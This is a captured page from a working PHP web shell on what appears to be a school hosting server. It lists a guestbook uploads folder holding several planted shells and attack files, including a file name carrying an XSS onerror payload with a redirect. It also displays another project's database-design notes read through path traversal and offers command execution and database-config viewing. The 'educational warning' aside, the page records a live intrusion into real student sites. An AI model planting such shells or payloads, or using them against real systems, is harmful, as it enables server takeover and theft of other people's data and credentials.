🐚 WEB SHELL ACTIVATED

πŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

πŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
πŸ“ ..
πŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
πŸ“„ 0tk5j14v024b1.jpg [view]
πŸ“„ 300px-Cursed_Cat.jpg [view]
πŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
πŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
πŸ“„ CV Jasper Kramp.png [view]
πŸ“„ Cat profile.png [view]
πŸ“„ Fronalpstock_big.jpg [view]
πŸ“„ Krik en las.jpg [view]
πŸ“„ Krik.jpg [view]
πŸ“„ Pino-dood-03.jpg [view]
πŸ“„ Shellz.php [view]
πŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
πŸ“„ Tux.svg.png [view]
πŸ“„ Z.png [view]
πŸ“„ android.jpg [view]
πŸ“„ apple.php [view]
πŸ“„ cianancatfish.jpg [view]
πŸ“„ downloads (1).jpeg [view]
πŸ“„ downloads.jpeg [view]
πŸ“„ epresso.jpg [view]
πŸ“„ fake_photo.png [view]
πŸ“„ hand.jpg [view]
πŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
πŸ“„ image.png [view]
πŸ“„ images.jpeg [view]
πŸ“„ info.php [view]
πŸ“„ inject.php [view]
πŸ“„ instant_redirect.jpg [view]
πŸ“„ japper.jpg [view]
πŸ“„ koekiemonster-3.jpg [view]
πŸ“„ logo.png [view]
πŸ“„ muis.jpg [view]
πŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
πŸ“„ picobellobv.jpeg [view]
πŸ“„ redirect.php [view]
πŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
πŸ“„ sdfsa.png [view]
πŸ“„ sneaky.svg [view]
πŸ“„ taylor.webp [view]
πŸ“„ test.html [view]
πŸ“„ testpreg.php [view]
πŸ“„ testpreg1.php [view]
πŸ“„ testtest.php.JPG [view]
πŸ“„ ultimate_attack.gif [view]
πŸ“„ ultimate_attack.php [view]
πŸ“„ ultimate_attack.svg [view]
πŸ“„ wallpaper.jpg [view]
πŸ“„ webshell.php [view]

πŸ“„ Viewing: ../../l7-pro-2-e-learning-2023-Epolleke/database/database_model.md

# Database Model - English Vocabulary Learning App

## Conceptueel Model (ERD)

### Entiteiten en Attributen

#### 1. WORD (Woord)
**Unique Identifier:** word_id (PK)
- word_id: INT (Primary Key, Auto Increment)
- english_word: VARCHAR(100) - Het Engelse woord
- dutch_translation: VARCHAR(100) - Nederlandse vertaling
- category_id: INT (Foreign Key naar CATEGORY)
- difficulty_level: ENUM('beginner', 'intermediate', 'advanced')
- created_at: TIMESTAMP

#### 2. CATEGORY (Categorie)
**Unique Identifier:** category_id (PK)
- category_id: INT (Primary Key, Auto Increment)
- category_name: VARCHAR(50) - Naam van categorie (bijv. "Animals", "Food", "Verbs")
- description: TEXT

#### 3. USER_PROGRESS (Gebruikersvoortgang)
**Unique Identifier:** progress_id (PK)
- progress_id: INT (Primary Key, Auto Increment)
- session_id: VARCHAR(100) - Sessie identificatie (voor niet-ingelogde gebruikers)
- word_id: INT (Foreign Key naar WORD)
- attempts: INT - Aantal pogingen
- correct: INT - Aantal correcte antwoorden
- last_attempt: TIMESTAMP
- is_mastered: BOOLEAN - Of woord beheerst is (bijv. 3x correct)

#### 4. PRACTICE_SESSION (Oefensessie)
**Unique Identifier:** session_log_id (PK)
- session_log_id: INT (Primary Key, Auto Increment)
- session_id: VARCHAR(100)
- start_time: TIMESTAMP
- end_time: TIMESTAMP
- total_words: INT
- correct_answers: INT
- score_percentage: DECIMAL(5,2)

## Relaties

1. **CATEGORY β†’ WORD** (1:N)
   - Één categorie kan meerdere woorden bevatten
   - Elk woord behoort tot één categorie

2. **WORD β†’ USER_PROGRESS** (1:N)
   - Één woord kan meerdere voortgangsregistraties hebben
   - Elke voortgangsregistratie is voor één woord

3. **SESSION β†’ USER_PROGRESS** (1:N)
   - Één sessie kan meerdere woordpogingen hebben
   - Elke poging behoort tot één sessie

4. **SESSION β†’ PRACTICE_SESSION** (1:1)
   - Elke sessie heeft één samenvattend record

## ERD Diagram (Tekstuele representatie)

```
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”         β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚  CATEGORY   β”‚         β”‚     WORD     β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€         β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ category_id β”‚1──────N β”‚ word_id      β”‚
β”‚ name        β”‚         β”‚ english_word β”‚
β”‚ description β”‚         β”‚ dutch_trans  β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜         β”‚ category_id  β”‚
                        β”‚ difficulty   β”‚
                        β”‚ created_at   β”‚
                        β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚
                               β”‚1
                               β”‚
                               β”‚N
                        β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                        β”‚USER_PROGRESS β”‚
                        β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
                        β”‚ progress_id  β”‚
                        β”‚ session_id   β”‚
                        β”‚ word_id      β”‚
                        β”‚ attempts     β”‚
                        β”‚ correct      β”‚
                        β”‚ last_attempt β”‚
                        β”‚ is_mastered  β”‚
                        β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                               β”‚
                               β”‚N
                               β”‚
                               β”‚1
                      β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
                      β”‚PRACTICE_SESSION β”‚
                      β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
                      β”‚ session_log_id  β”‚
                      β”‚ session_id      β”‚
                      β”‚ start_time      β”‚
                      β”‚ end_time        β”‚
                      β”‚ total_words     β”‚
                      β”‚ correct_answers β”‚
                      β”‚ score_percentageβ”‚
                      β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
```

## Database Begrippen

### Entiteit
Een entiteit is een object of ding in de echte wereld dat gegevens heeft die we willen opslaan.
Voorbeelden: WORD, CATEGORY, USER_PROGRESS

### Attribuut
Een attribuut is een eigenschap of karakteristiek van een entiteit.
Voorbeelden: english_word, dutch_translation, difficulty_level

### Instantie
Een instantie is een specifieke voorkomst van een entiteit (een rij in de tabel).
Voorbeeld: Het woord "cat" met vertaling "kat" is één instantie van de WORD entiteit

### Unique Identifier (Primary Key)
Een attribuut of combinatie van attributen die elke instantie uniek identificeert.
Voorbeelden: word_id, category_id, progress_id

## Fysiek Model Overwegingen

- **Indexen:** Foreign keys en veel-gezochte velden (english_word, session_id)
- **Data Types:** Geoptimaliseerd voor opslag en snelheid
- **Constraints:** NOT NULL, UNIQUE waar nodig
- **Normalisatie:** 3NF (Third Normal Form) om redundantie te minimaliseren

🎯 Available Actions

Command Execution:

Quick Commands:

πŸ“‹ List files | πŸ‘€ Show user | πŸ“ Show directory | πŸ”„ Show processes | πŸ” Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | πŸ” View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!